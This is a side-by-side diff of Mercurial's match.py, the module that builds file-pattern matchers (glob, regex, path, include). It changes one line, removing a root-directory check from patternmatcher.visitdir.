36 'rootfilesin')
36 'rootfilesin')
37 cwdrelativepatternkinds = ('relpath', 'glob')
37 cwdrelativepatternkinds = ('relpath', 'glob')
38
38
39 propertycache = util.propertycache
39 propertycache = util.propertycache
40
40
41 def _rematcher(regex):
41 def _rematcher(regex):
42 '''compile the regexp with the best available regexp engine and return a
42 '''compile the regexp with the best available regexp engine and return a
43 matcher function'''
43 matcher function'''
44 m = util.re.compile(regex)
44 m = util.re.compile(regex)
45 try:
45 try:
46 # slightly faster, provided by facebook's re2 bindings
46 # slightly faster, provided by facebook's re2 bindings
47 return m.test_match
47 return m.test_match
48 except AttributeError:
48 except AttributeError:
49 return m.match
49 return m.match
50
50
51 def _expandsets(kindpats, ctx=None, listsubrepos=False, badfn=None):
51 def _expandsets(kindpats, ctx=None, listsubrepos=False, badfn=None):
52 '''Returns the kindpats list with the 'set' patterns expanded to matchers'''
52 '''Returns the kindpats list with the 'set' patterns expanded to matchers'''
53 matchers = []
53 matchers = []
54 other = []
54 other = []
55
55
56 for kind, pat, source in kindpats:
56 for kind, pat, source in kindpats:
57 if kind == 'set':
57 if kind == 'set':
58 if ctx is None:
58 if ctx is None:
59 raise error.ProgrammingError("fileset expression with no "
59 raise error.ProgrammingError("fileset expression with no "
60 "context")
60 "context")
61 matchers.append(ctx.matchfileset(pat, badfn=badfn))
61 matchers.append(ctx.matchfileset(pat, badfn=badfn))
62
62
63 if listsubrepos:
63 if listsubrepos:
64 for subpath in ctx.substate:
64 for subpath in ctx.substate:
65 sm = ctx.sub(subpath).matchfileset(pat, badfn=badfn)
65 sm = ctx.sub(subpath).matchfileset(pat, badfn=badfn)
66 pm = prefixdirmatcher(subpath, sm, badfn=badfn)
66 pm = prefixdirmatcher(subpath, sm, badfn=badfn)
67 matchers.append(pm)
67 matchers.append(pm)
68
68
69 continue
69 continue
70 other.append((kind, pat, source))
70 other.append((kind, pat, source))
71 return matchers, other
71 return matchers, other
72
72
73 def _expandsubinclude(kindpats, root):
73 def _expandsubinclude(kindpats, root):
74 '''Returns the list of subinclude matcher args and the kindpats without the
74 '''Returns the list of subinclude matcher args and the kindpats without the
75 subincludes in it.'''
75 subincludes in it.'''
76 relmatchers = []
76 relmatchers = []
77 other = []
77 other = []
78
78
79 for kind, pat, source in kindpats:
79 for kind, pat, source in kindpats:
80 if kind == 'subinclude':
80 if kind == 'subinclude':
81 sourceroot = pathutil.dirname(util.normpath(source))
81 sourceroot = pathutil.dirname(util.normpath(source))
82 pat = util.pconvert(pat)
82 pat = util.pconvert(pat)
83 path = pathutil.join(sourceroot, pat)
83 path = pathutil.join(sourceroot, pat)
84
84
85 newroot = pathutil.dirname(path)
85 newroot = pathutil.dirname(path)
86 matcherargs = (newroot, '', [], ['include:%s' % path])
86 matcherargs = (newroot, '', [], ['include:%s' % path])
87
87
88 prefix = pathutil.canonpath(root, root, newroot)
88 prefix = pathutil.canonpath(root, root, newroot)
89 if prefix:
89 if prefix:
90 prefix += '/'
90 prefix += '/'
91 relmatchers.append((prefix, matcherargs))
91 relmatchers.append((prefix, matcherargs))
92 else:
92 else:
93 other.append((kind, pat, source))
93 other.append((kind, pat, source))
94
94
95 return relmatchers, other
95 return relmatchers, other
96
96
97 def _kindpatsalwaysmatch(kindpats):
97 def _kindpatsalwaysmatch(kindpats):
98 """"Checks whether the kindspats match everything, as e.g.
98 """"Checks whether the kindspats match everything, as e.g.
99 'relpath:.' does.
99 'relpath:.' does.
100 """
100 """
101 for kind, pat, source in kindpats:
101 for kind, pat, source in kindpats:
102 if pat != '' or kind not in ['relpath', 'glob']:
102 if pat != '' or kind not in ['relpath', 'glob']:
103 return False
103 return False
104 return True
104 return True
105
105
106 def _buildkindpatsmatcher(matchercls, root, kindpats, ctx=None,
106 def _buildkindpatsmatcher(matchercls, root, kindpats, ctx=None,
107 listsubrepos=False, badfn=None):
107 listsubrepos=False, badfn=None):
108 matchers = []
108 matchers = []
109 fms, kindpats = _expandsets(kindpats, ctx=ctx,
109 fms, kindpats = _expandsets(kindpats, ctx=ctx,
110 listsubrepos=listsubrepos, badfn=badfn)
110 listsubrepos=listsubrepos, badfn=badfn)
111 if kindpats:
111 if kindpats:
112 m = matchercls(root, kindpats, badfn=badfn)
112 m = matchercls(root, kindpats, badfn=badfn)
113 matchers.append(m)
113 matchers.append(m)
114 if fms:
114 if fms:
115 matchers.extend(fms)
115 matchers.extend(fms)
116 if not matchers:
116 if not matchers:
117 return nevermatcher(badfn=badfn)
117 return nevermatcher(badfn=badfn)
118 if len(matchers) == 1:
118 if len(matchers) == 1:
119 return matchers[0]
119 return matchers[0]
120 return unionmatcher(matchers)
120 return unionmatcher(matchers)
121
121
122 def match(root, cwd, patterns=None, include=None, exclude=None, default='glob',
122 def match(root, cwd, patterns=None, include=None, exclude=None, default='glob',
123 auditor=None, ctx=None, listsubrepos=False, warn=None,
123 auditor=None, ctx=None, listsubrepos=False, warn=None,
124 badfn=None, icasefs=False):
124 badfn=None, icasefs=False):
125 r"""build an object to match a set of file patterns
125 r"""build an object to match a set of file patterns
126
126
127 arguments:
127 arguments:
128 root - the canonical root of the tree you're matching against
128 root - the canonical root of the tree you're matching against
129 cwd - the current working directory, if relevant
129 cwd - the current working directory, if relevant
130 patterns - patterns to find
130 patterns - patterns to find
131 include - patterns to include (unless they are excluded)
131 include - patterns to include (unless they are excluded)
132 exclude - patterns to exclude (even if they are included)
132 exclude - patterns to exclude (even if they are included)
133 default - if a pattern in patterns has no explicit type, assume this one
133 default - if a pattern in patterns has no explicit type, assume this one
134 auditor - optional path auditor
134 auditor - optional path auditor
135 ctx - optional changecontext
135 ctx - optional changecontext
136 listsubrepos - if True, recurse into subrepositories
136 listsubrepos - if True, recurse into subrepositories
137 warn - optional function used for printing warnings
137 warn - optional function used for printing warnings
138 badfn - optional bad() callback for this matcher instead of the default
138 badfn - optional bad() callback for this matcher instead of the default
139 icasefs - make a matcher for wdir on case insensitive filesystems, which
139 icasefs - make a matcher for wdir on case insensitive filesystems, which
140 normalizes the given patterns to the case in the filesystem
140 normalizes the given patterns to the case in the filesystem
141
141
142 a pattern is one of:
142 a pattern is one of:
143 'glob:<glob>' - a glob relative to cwd
143 'glob:<glob>' - a glob relative to cwd
144 're:<regexp>' - a regular expression
144 're:<regexp>' - a regular expression
145 'path:<path>' - a path relative to repository root, which is matched
145 'path:<path>' - a path relative to repository root, which is matched
146 recursively
146 recursively
147 'rootfilesin:<path>' - a path relative to repository root, which is
147 'rootfilesin:<path>' - a path relative to repository root, which is
148 matched non-recursively (will not match subdirectories)
148 matched non-recursively (will not match subdirectories)
149 'relglob:<glob>' - an unrooted glob (*.c matches C files in all dirs)
149 'relglob:<glob>' - an unrooted glob (*.c matches C files in all dirs)
150 'relpath:<path>' - a path relative to cwd
150 'relpath:<path>' - a path relative to cwd
151 'relre:<regexp>' - a regexp that needn't match the start of a name
151 'relre:<regexp>' - a regexp that needn't match the start of a name
152 'set:<fileset>' - a fileset expression
152 'set:<fileset>' - a fileset expression
153 'include:<path>' - a file of patterns to read and include
153 'include:<path>' - a file of patterns to read and include
154 'subinclude:<path>' - a file of patterns to match against files under
154 'subinclude:<path>' - a file of patterns to match against files under
155 the same directory
155 the same directory
156 '<something>' - a pattern of the specified default type
156 '<something>' - a pattern of the specified default type
157
157
158 Usually a patternmatcher is returned:
158 Usually a patternmatcher is returned:
159 >>> match(b'foo', b'.', [b're:.*\.c$', b'path:foo/a', b'*.py'])
159 >>> match(b'foo', b'.', [b're:.*\.c$', b'path:foo/a', b'*.py'])
160 <patternmatcher patterns='.*\\.c$|foo/a(?:/|$)|[^/]*\\.py$'>
160 <patternmatcher patterns='.*\\.c$|foo/a(?:/|$)|[^/]*\\.py$'>
161
161
162 Combining 'patterns' with 'include' (resp. 'exclude') gives an
162 Combining 'patterns' with 'include' (resp. 'exclude') gives an
163 intersectionmatcher (resp. a differencematcher):
163 intersectionmatcher (resp. a differencematcher):
164 >>> type(match(b'foo', b'.', [b're:.*\.c$'], include=[b'path:lib']))
164 >>> type(match(b'foo', b'.', [b're:.*\.c$'], include=[b'path:lib']))
165 <class 'mercurial.match.intersectionmatcher'>
165 <class 'mercurial.match.intersectionmatcher'>
166 >>> type(match(b'foo', b'.', [b're:.*\.c$'], exclude=[b'path:build']))
166 >>> type(match(b'foo', b'.', [b're:.*\.c$'], exclude=[b'path:build']))
167 <class 'mercurial.match.differencematcher'>
167 <class 'mercurial.match.differencematcher'>
168
168
169 Notice that, if 'patterns' is empty, an alwaysmatcher is returned:
169 Notice that, if 'patterns' is empty, an alwaysmatcher is returned:
170 >>> match(b'foo', b'.', [])
170 >>> match(b'foo', b'.', [])
171 <alwaysmatcher>
171 <alwaysmatcher>
172
172
173 The 'default' argument determines which kind of pattern is assumed if a
173 The 'default' argument determines which kind of pattern is assumed if a
174 pattern has no prefix:
174 pattern has no prefix:
175 >>> match(b'foo', b'.', [b'.*\.c$'], default=b're')
175 >>> match(b'foo', b'.', [b'.*\.c$'], default=b're')
176 <patternmatcher patterns='.*\\.c$'>
176 <patternmatcher patterns='.*\\.c$'>
177 >>> match(b'foo', b'.', [b'main.py'], default=b'relpath')
177 >>> match(b'foo', b'.', [b'main.py'], default=b'relpath')
178 <patternmatcher patterns='main\\.py(?:/|$)'>
178 <patternmatcher patterns='main\\.py(?:/|$)'>
179 >>> match(b'foo', b'.', [b'main.py'], default=b're')
179 >>> match(b'foo', b'.', [b'main.py'], default=b're')
180 <patternmatcher patterns='main.py'>
180 <patternmatcher patterns='main.py'>
181
181
182 The primary use of matchers is to check whether a value (usually a file
182 The primary use of matchers is to check whether a value (usually a file
183 name) matches againset one of the patterns given at initialization. There
183 name) matches againset one of the patterns given at initialization. There
184 are two ways of doing this check.
184 are two ways of doing this check.
185
185
186 >>> m = match(b'foo', b'', [b're:.*\.c$', b'relpath:a'])
186 >>> m = match(b'foo', b'', [b're:.*\.c$', b'relpath:a'])
187
187
188 1. Calling the matcher with a file name returns True if any pattern
188 1. Calling the matcher with a file name returns True if any pattern
189 matches that file name:
189 matches that file name:
190 >>> m(b'a')
190 >>> m(b'a')
191 True
191 True
192 >>> m(b'main.c')
192 >>> m(b'main.c')
193 True
193 True
194 >>> m(b'test.py')
194 >>> m(b'test.py')
195 False
195 False
196
196
197 2. Using the exact() method only returns True if the file name matches one
197 2. Using the exact() method only returns True if the file name matches one
198 of the exact patterns (i.e. not re: or glob: patterns):
198 of the exact patterns (i.e. not re: or glob: patterns):
199 >>> m.exact(b'a')
199 >>> m.exact(b'a')
200 True
200 True
201 >>> m.exact(b'main.c')
201 >>> m.exact(b'main.c')
202 False
202 False
203 """
203 """
204 normalize = _donormalize
204 normalize = _donormalize
205 if icasefs:
205 if icasefs:
206 dirstate = ctx.repo().dirstate
206 dirstate = ctx.repo().dirstate
207 dsnormalize = dirstate.normalize
207 dsnormalize = dirstate.normalize
208
208
209 def normalize(patterns, default, root, cwd, auditor, warn):
209 def normalize(patterns, default, root, cwd, auditor, warn):
210 kp = _donormalize(patterns, default, root, cwd, auditor, warn)
210 kp = _donormalize(patterns, default, root, cwd, auditor, warn)
211 kindpats = []
211 kindpats = []
212 for kind, pats, source in kp:
212 for kind, pats, source in kp:
213 if kind not in ('re', 'relre'): # regex can't be normalized
213 if kind not in ('re', 'relre'): # regex can't be normalized
214 p = pats
214 p = pats
215 pats = dsnormalize(pats)
215 pats = dsnormalize(pats)
216
216
217 # Preserve the original to handle a case only rename.
217 # Preserve the original to handle a case only rename.
218 if p != pats and p in dirstate:
218 if p != pats and p in dirstate:
219 kindpats.append((kind, p, source))
219 kindpats.append((kind, p, source))
220
220
221 kindpats.append((kind, pats, source))
221 kindpats.append((kind, pats, source))
222 return kindpats
222 return kindpats
223
223
224 if patterns:
224 if patterns:
225 kindpats = normalize(patterns, default, root, cwd, auditor, warn)
225 kindpats = normalize(patterns, default, root, cwd, auditor, warn)
226 if _kindpatsalwaysmatch(kindpats):
226 if _kindpatsalwaysmatch(kindpats):
227 m = alwaysmatcher(badfn)
227 m = alwaysmatcher(badfn)
228 else:
228 else:
229 m = _buildkindpatsmatcher(patternmatcher, root, kindpats, ctx=ctx,
229 m = _buildkindpatsmatcher(patternmatcher, root, kindpats, ctx=ctx,
230 listsubrepos=listsubrepos, badfn=badfn)
230 listsubrepos=listsubrepos, badfn=badfn)
231 else:
231 else:
232 # It's a little strange that no patterns means to match everything.
232 # It's a little strange that no patterns means to match everything.
233 # Consider changing this to match nothing (probably using nevermatcher).
233 # Consider changing this to match nothing (probably using nevermatcher).
234 m = alwaysmatcher(badfn)
234 m = alwaysmatcher(badfn)
235
235
236 if include:
236 if include:
237 kindpats = normalize(include, 'glob', root, cwd, auditor, warn)
237 kindpats = normalize(include, 'glob', root, cwd, auditor, warn)
238 im = _buildkindpatsmatcher(includematcher, root, kindpats, ctx=ctx,
238 im = _buildkindpatsmatcher(includematcher, root, kindpats, ctx=ctx,
239 listsubrepos=listsubrepos, badfn=None)
239 listsubrepos=listsubrepos, badfn=None)
240 m = intersectmatchers(m, im)
240 m = intersectmatchers(m, im)
241 if exclude:
241 if exclude:
242 kindpats = normalize(exclude, 'glob', root, cwd, auditor, warn)
242 kindpats = normalize(exclude, 'glob', root, cwd, auditor, warn)
243 em = _buildkindpatsmatcher(includematcher, root, kindpats, ctx=ctx,
243 em = _buildkindpatsmatcher(includematcher, root, kindpats, ctx=ctx,
244 listsubrepos=listsubrepos, badfn=None)
244 listsubrepos=listsubrepos, badfn=None)
245 m = differencematcher(m, em)
245 m = differencematcher(m, em)
246 return m
246 return m
247
247
248 def exact(files, badfn=None):
248 def exact(files, badfn=None):
249 return exactmatcher(files, badfn=badfn)
249 return exactmatcher(files, badfn=badfn)
250
250
251 def always(badfn=None):
251 def always(badfn=None):
252 return alwaysmatcher(badfn)
252 return alwaysmatcher(badfn)
253
253
254 def never(badfn=None):
254 def never(badfn=None):
255 return nevermatcher(badfn)
255 return nevermatcher(badfn)
256
256
257 def badmatch(match, badfn):
257 def badmatch(match, badfn):
258 """Make a copy of the given matcher, replacing its bad method with the given
258 """Make a copy of the given matcher, replacing its bad method with the given
259 one.
259 one.
260 """
260 """
261 m = copy.copy(match)
261 m = copy.copy(match)
262 m.bad = badfn
262 m.bad = badfn
263 return m
263 return m
264
264
265 def _donormalize(patterns, default, root, cwd, auditor=None, warn=None):
265 def _donormalize(patterns, default, root, cwd, auditor=None, warn=None):
266 '''Convert 'kind:pat' from the patterns list to tuples with kind and
266 '''Convert 'kind:pat' from the patterns list to tuples with kind and
267 normalized and rooted patterns and with listfiles expanded.'''
267 normalized and rooted patterns and with listfiles expanded.'''
268 kindpats = []
268 kindpats = []
269 for kind, pat in [_patsplit(p, default) for p in patterns]:
269 for kind, pat in [_patsplit(p, default) for p in patterns]:
270 if kind in cwdrelativepatternkinds:
270 if kind in cwdrelativepatternkinds:
271 pat = pathutil.canonpath(root, cwd, pat, auditor=auditor)
271 pat = pathutil.canonpath(root, cwd, pat, auditor=auditor)
272 elif kind in ('relglob', 'path', 'rootfilesin', 'rootglob'):
272 elif kind in ('relglob', 'path', 'rootfilesin', 'rootglob'):
273 pat = util.normpath(pat)
273 pat = util.normpath(pat)
274 elif kind in ('listfile', 'listfile0'):
274 elif kind in ('listfile', 'listfile0'):
275 try:
275 try:
276 files = util.readfile(pat)
276 files = util.readfile(pat)
277 if kind == 'listfile0':
277 if kind == 'listfile0':
278 files = files.split('\0')
278 files = files.split('\0')
279 else:
279 else:
280 files = files.splitlines()
280 files = files.splitlines()
281 files = [f for f in files if f]
281 files = [f for f in files if f]
282 except EnvironmentError:
282 except EnvironmentError:
283 raise error.Abort(_("unable to read file list (%s)") % pat)
283 raise error.Abort(_("unable to read file list (%s)") % pat)
284 for k, p, source in _donormalize(files, default, root, cwd,
284 for k, p, source in _donormalize(files, default, root, cwd,
285 auditor, warn):
285 auditor, warn):
286 kindpats.append((k, p, pat))
286 kindpats.append((k, p, pat))
287 continue
287 continue
288 elif kind == 'include':
288 elif kind == 'include':
289 try:
289 try:
290 fullpath = os.path.join(root, util.localpath(pat))
290 fullpath = os.path.join(root, util.localpath(pat))
291 includepats = readpatternfile(fullpath, warn)
291 includepats = readpatternfile(fullpath, warn)
292 for k, p, source in _donormalize(includepats, default,
292 for k, p, source in _donormalize(includepats, default,
293 root, cwd, auditor, warn):
293 root, cwd, auditor, warn):
294 kindpats.append((k, p, source or pat))
294 kindpats.append((k, p, source or pat))
295 except error.Abort as inst:
295 except error.Abort as inst:
296 raise error.Abort('%s: %s' % (pat, inst[0]))
296 raise error.Abort('%s: %s' % (pat, inst[0]))
297 except IOError as inst:
297 except IOError as inst:
298 if warn:
298 if warn:
299 warn(_("skipping unreadable pattern file '%s': %s\n") %
299 warn(_("skipping unreadable pattern file '%s': %s\n") %
300 (pat, stringutil.forcebytestr(inst.strerror)))
300 (pat, stringutil.forcebytestr(inst.strerror)))
301 continue
301 continue
302 # else: re or relre - which cannot be normalized
302 # else: re or relre - which cannot be normalized
303 kindpats.append((kind, pat, ''))
303 kindpats.append((kind, pat, ''))
304 return kindpats
304 return kindpats
305
305
306 class basematcher(object):
306 class basematcher(object):
307
307
308 def __init__(self, badfn=None):
308 def __init__(self, badfn=None):
309 if badfn is not None:
309 if badfn is not None:
310 self.bad = badfn
310 self.bad = badfn
311
311
312 def __call__(self, fn):
312 def __call__(self, fn):
313 return self.matchfn(fn)
313 return self.matchfn(fn)
314 # Callbacks related to how the matcher is used by dirstate.walk.
314 # Callbacks related to how the matcher is used by dirstate.walk.
315 # Subscribers to these events must monkeypatch the matcher object.
315 # Subscribers to these events must monkeypatch the matcher object.
316 def bad(self, f, msg):
316 def bad(self, f, msg):
317 '''Callback from dirstate.walk for each explicit file that can't be
317 '''Callback from dirstate.walk for each explicit file that can't be
318 found/accessed, with an error message.'''
318 found/accessed, with an error message.'''
319
319
320 # If an explicitdir is set, it will be called when an explicitly listed
320 # If an explicitdir is set, it will be called when an explicitly listed
321 # directory is visited.
321 # directory is visited.
322 explicitdir = None
322 explicitdir = None
323
323
324 # If an traversedir is set, it will be called when a directory discovered
324 # If an traversedir is set, it will be called when a directory discovered
325 # by recursive traversal is visited.
325 # by recursive traversal is visited.
326 traversedir = None
326 traversedir = None
327
327
328 @propertycache
328 @propertycache
329 def _files(self):
329 def _files(self):
330 return []
330 return []
331
331
332 def files(self):
332 def files(self):
333 '''Explicitly listed files or patterns or roots:
333 '''Explicitly listed files or patterns or roots:
334 if no patterns or .always(): empty list,
334 if no patterns or .always(): empty list,
335 if exact: list exact files,
335 if exact: list exact files,
336 if not .anypats(): list all files and dirs,
336 if not .anypats(): list all files and dirs,
337 else: optimal roots'''
337 else: optimal roots'''
338 return self._files
338 return self._files
339
339
340 @propertycache
340 @propertycache
341 def _fileset(self):
341 def _fileset(self):
342 return set(self._files)
342 return set(self._files)
343
343
344 def exact(self, f):
344 def exact(self, f):
345 '''Returns True if f is in .files().'''
345 '''Returns True if f is in .files().'''
346 return f in self._fileset
346 return f in self._fileset
347
347
348 def matchfn(self, f):
348 def matchfn(self, f):
349 return False
349 return False
350
350
351 def visitdir(self, dir):
351 def visitdir(self, dir):
352 '''Decides whether a directory should be visited based on whether it
352 '''Decides whether a directory should be visited based on whether it
353 has potential matches in it or one of its subdirectories. This is
353 has potential matches in it or one of its subdirectories. This is
354 based on the match's primary, included, and excluded patterns.
354 based on the match's primary, included, and excluded patterns.
355
355
356 Returns the string 'all' if the given directory and all subdirectories
356 Returns the string 'all' if the given directory and all subdirectories
357 should be visited. Otherwise returns True or False indicating whether
357 should be visited. Otherwise returns True or False indicating whether
358 the given directory should be visited.
358 the given directory should be visited.
359 '''
359 '''
360 return True
360 return True
361
361
362 def visitchildrenset(self, dir):
362 def visitchildrenset(self, dir):
363 '''Decides whether a directory should be visited based on whether it
363 '''Decides whether a directory should be visited based on whether it
364 has potential matches in it or one of its subdirectories, and
364 has potential matches in it or one of its subdirectories, and
365 potentially lists which subdirectories of that directory should be
365 potentially lists which subdirectories of that directory should be
366 visited. This is based on the match's primary, included, and excluded
366 visited. This is based on the match's primary, included, and excluded
367 patterns.
367 patterns.
368
368
369 This function is very similar to 'visitdir', and the following mapping
369 This function is very similar to 'visitdir', and the following mapping
370 can be applied:
370 can be applied:
371
371
372 visitdir | visitchildrenlist
372 visitdir | visitchildrenlist
373 ----------+-------------------
373 ----------+-------------------
374 False | set()
374 False | set()
375 'all' | 'all'
375 'all' | 'all'
376 True | 'this' OR non-empty set of subdirs -or files- to visit
376 True | 'this' OR non-empty set of subdirs -or files- to visit
377
377
378 Example:
378 Example:
379 Assume matchers ['path:foo/bar', 'rootfilesin:qux'], we would return
379 Assume matchers ['path:foo/bar', 'rootfilesin:qux'], we would return
380 the following values (assuming the implementation of visitchildrenset
380 the following values (assuming the implementation of visitchildrenset
381 is capable of recognizing this; some implementations are not).
381 is capable of recognizing this; some implementations are not).
382
382
383 '' -> {'foo', 'qux'}
383 '' -> {'foo', 'qux'}
384 'baz' -> set()
384 'baz' -> set()
385 'foo' -> {'bar'}
385 'foo' -> {'bar'}
386 # Ideally this would be 'all', but since the prefix nature of matchers
386 # Ideally this would be 'all', but since the prefix nature of matchers
387 # is applied to the entire matcher, we have to downgrade this to
387 # is applied to the entire matcher, we have to downgrade this to
388 # 'this' due to the non-prefix 'rootfilesin'-kind matcher being mixed
388 # 'this' due to the non-prefix 'rootfilesin'-kind matcher being mixed
389 # in.
389 # in.
390 'foo/bar' -> 'this'
390 'foo/bar' -> 'this'
391 'qux' -> 'this'
391 'qux' -> 'this'
392
392
393 Important:
393 Important:
394 Most matchers do not know if they're representing files or
394 Most matchers do not know if they're representing files or
395 directories. They see ['path:dir/f'] and don't know whether 'f' is a
395 directories. They see ['path:dir/f'] and don't know whether 'f' is a
396 file or a directory, so visitchildrenset('dir') for most matchers will
396 file or a directory, so visitchildrenset('dir') for most matchers will
397 return {'f'}, but if the matcher knows it's a file (like exactmatcher
397 return {'f'}, but if the matcher knows it's a file (like exactmatcher
398 does), it may return 'this'. Do not rely on the return being a set
398 does), it may return 'this'. Do not rely on the return being a set
399 indicating that there are no files in this dir to investigate (or
399 indicating that there are no files in this dir to investigate (or
400 equivalently that if there are files to investigate in 'dir' that it
400 equivalently that if there are files to investigate in 'dir' that it
401 will always return 'this').
401 will always return 'this').
402 '''
402 '''
403 return 'this'
403 return 'this'
404
404
405 def always(self):
405 def always(self):
406 '''Matcher will match everything and .files() will be empty --
406 '''Matcher will match everything and .files() will be empty --
407 optimization might be possible.'''
407 optimization might be possible.'''
408 return False
408 return False
409
409
410 def isexact(self):
410 def isexact(self):
411 '''Matcher will match exactly the list of files in .files() --
411 '''Matcher will match exactly the list of files in .files() --
412 optimization might be possible.'''
412 optimization might be possible.'''
413 return False
413 return False
414
414
415 def prefix(self):
415 def prefix(self):
416 '''Matcher will match the paths in .files() recursively --
416 '''Matcher will match the paths in .files() recursively --
417 optimization might be possible.'''
417 optimization might be possible.'''
418 return False
418 return False
419
419
420 def anypats(self):
420 def anypats(self):
421 '''None of .always(), .isexact(), and .prefix() is true --
421 '''None of .always(), .isexact(), and .prefix() is true --
422 optimizations will be difficult.'''
422 optimizations will be difficult.'''
423 return not self.always() and not self.isexact() and not self.prefix()
423 return not self.always() and not self.isexact() and not self.prefix()
424
424
425 class alwaysmatcher(basematcher):
425 class alwaysmatcher(basematcher):
426 '''Matches everything.'''
426 '''Matches everything.'''
427
427
428 def __init__(self, badfn=None):
428 def __init__(self, badfn=None):
429 super(alwaysmatcher, self).__init__(badfn)
429 super(alwaysmatcher, self).__init__(badfn)
430
430
431 def always(self):
431 def always(self):
432 return True
432 return True
433
433
434 def matchfn(self, f):
434 def matchfn(self, f):
435 return True
435 return True
436
436
437 def visitdir(self, dir):
437 def visitdir(self, dir):
438 return 'all'
438 return 'all'
439
439
440 def visitchildrenset(self, dir):
440 def visitchildrenset(self, dir):
441 return 'all'
441 return 'all'
442
442
443 def __repr__(self):
443 def __repr__(self):
444 return r'<alwaysmatcher>'
444 return r'<alwaysmatcher>'
445
445
446 class nevermatcher(basematcher):
446 class nevermatcher(basematcher):
447 '''Matches nothing.'''
447 '''Matches nothing.'''
448
448
449 def __init__(self, badfn=None):
449 def __init__(self, badfn=None):
450 super(nevermatcher, self).__init__(badfn)
450 super(nevermatcher, self).__init__(badfn)
451
451
452 # It's a little weird to say that the nevermatcher is an exact matcher
452 # It's a little weird to say that the nevermatcher is an exact matcher
453 # or a prefix matcher, but it seems to make sense to let callers take
453 # or a prefix matcher, but it seems to make sense to let callers take
454 # fast paths based on either. There will be no exact matches, nor any
454 # fast paths based on either. There will be no exact matches, nor any
455 # prefixes (files() returns []), so fast paths iterating over them should
455 # prefixes (files() returns []), so fast paths iterating over them should
456 # be efficient (and correct).
456 # be efficient (and correct).
457 def isexact(self):
457 def isexact(self):
458 return True
458 return True
459
459
460 def prefix(self):
460 def prefix(self):
461 return True
461 return True
462
462
463 def visitdir(self, dir):
463 def visitdir(self, dir):
464 return False
464 return False
465
465
466 def visitchildrenset(self, dir):
466 def visitchildrenset(self, dir):
467 return set()
467 return set()
468
468
469 def __repr__(self):
469 def __repr__(self):
470 return r'<nevermatcher>'
470 return r'<nevermatcher>'
471
471
472 class predicatematcher(basematcher):
472 class predicatematcher(basematcher):
473 """A matcher adapter for a simple boolean function"""
473 """A matcher adapter for a simple boolean function"""
474
474
475 def __init__(self, predfn, predrepr=None, badfn=None):
475 def __init__(self, predfn, predrepr=None, badfn=None):
476 super(predicatematcher, self).__init__(badfn)
476 super(predicatematcher, self).__init__(badfn)
477 self.matchfn = predfn
477 self.matchfn = predfn
478 self._predrepr = predrepr
478 self._predrepr = predrepr
479
479
480 @encoding.strmethod
480 @encoding.strmethod
481 def __repr__(self):
481 def __repr__(self):
482 s = (stringutil.buildrepr(self._predrepr)
482 s = (stringutil.buildrepr(self._predrepr)
483 or pycompat.byterepr(self.matchfn))
483 or pycompat.byterepr(self.matchfn))
484 return '<predicatenmatcher pred=%s>' % s
484 return '<predicatenmatcher pred=%s>' % s
485
485
486 def normalizerootdir(dir, funcname):
486 def normalizerootdir(dir, funcname):
487 if dir == '.':
487 if dir == '.':
488 util.nouideprecwarn("match.%s() no longer accepts "
488 util.nouideprecwarn("match.%s() no longer accepts "
489 "'.', use '' instead." % funcname, '5.1')
489 "'.', use '' instead." % funcname, '5.1')
490 return ''
490 return ''
491 return dir
491 return dir
492
492
493
493
494 class patternmatcher(basematcher):
494 class patternmatcher(basematcher):
495 """Matches a set of (kind, pat, source) against a 'root' directory.
495 """Matches a set of (kind, pat, source) against a 'root' directory.
496
496
497 >>> kindpats = [
497 >>> kindpats = [
498 ... (b're', br'.*\.c$', b''),
498 ... (b're', br'.*\.c$', b''),
499 ... (b'path', b'foo/a', b''),
499 ... (b'path', b'foo/a', b''),
500 ... (b'relpath', b'b', b''),
500 ... (b'relpath', b'b', b''),
501 ... (b'glob', b'*.h', b''),
501 ... (b'glob', b'*.h', b''),
502 ... ]
502 ... ]
503 >>> m = patternmatcher(b'foo', kindpats)
503 >>> m = patternmatcher(b'foo', kindpats)
504 >>> m(b'main.c') # matches re:.*\.c$
504 >>> m(b'main.c') # matches re:.*\.c$
505 True
505 True
506 >>> m(b'b.txt')
506 >>> m(b'b.txt')
507 False
507 False
508 >>> m(b'foo/a') # matches path:foo/a
508 >>> m(b'foo/a') # matches path:foo/a
509 True
509 True
510 >>> m(b'a') # does not match path:b, since 'root' is 'foo'
510 >>> m(b'a') # does not match path:b, since 'root' is 'foo'
511 False
511 False
512 >>> m(b'b') # matches relpath:b, since 'root' is 'foo'
512 >>> m(b'b') # matches relpath:b, since 'root' is 'foo'
513 True
513 True
514 >>> m(b'lib.h') # matches glob:*.h
514 >>> m(b'lib.h') # matches glob:*.h
515 True
515 True
516
516
517 >>> m.files()
517 >>> m.files()
518 ['', 'foo/a', 'b', '']
518 ['', 'foo/a', 'b', '']
519 >>> m.exact(b'foo/a')
519 >>> m.exact(b'foo/a')
520 True
520 True
521 >>> m.exact(b'b')
521 >>> m.exact(b'b')
522 True
522 True
523 >>> m.exact(b'lib.h') # exact matches are for (rel)path kinds
523 >>> m.exact(b'lib.h') # exact matches are for (rel)path kinds
524 False
524 False
525 """
525 """
526
526
527 def __init__(self, root, kindpats, badfn=None):
527 def __init__(self, root, kindpats, badfn=None):
528 super(patternmatcher, self).__init__(badfn)
528 super(patternmatcher, self).__init__(badfn)
529
529
530 self._files = _explicitfiles(kindpats)
530 self._files = _explicitfiles(kindpats)
531 self._prefix = _prefix(kindpats)
531 self._prefix = _prefix(kindpats)
532 self._pats, self.matchfn = _buildmatch(kindpats, '$', root)
532 self._pats, self.matchfn = _buildmatch(kindpats, '$', root)
533
533
534 @propertycache
534 @propertycache
535 def _dirs(self):
535 def _dirs(self):
536 return set(util.dirs(self._fileset)) | {''}
536 return set(util.dirs(self._fileset)) | {''}
537
537
538 def visitdir(self, dir):
538 def visitdir(self, dir):
539 dir = normalizerootdir(dir, 'visitdir')
539 dir = normalizerootdir(dir, 'visitdir')
540 if self._prefix and dir in self._fileset:
540 if self._prefix and dir in self._fileset:
541 return 'all'
541 return 'all'
542 return ('' in self._fileset or
542 return (dir in self._fileset or
543 dir in self._fileset or
544 dir in self._dirs or
543 dir in self._dirs or
545 any(parentdir in self._fileset
544 any(parentdir in self._fileset
546 for parentdir in util.finddirs(dir)))
545 for parentdir in util.finddirs(dir)))
547
546
548 def visitchildrenset(self, dir):
547 def visitchildrenset(self, dir):
549 ret = self.visitdir(dir)
548 ret = self.visitdir(dir)
550 if ret is True:
549 if ret is True:
551 return 'this'
550 return 'this'
552 elif not ret:
551 elif not ret:
553 return set()
552 return set()
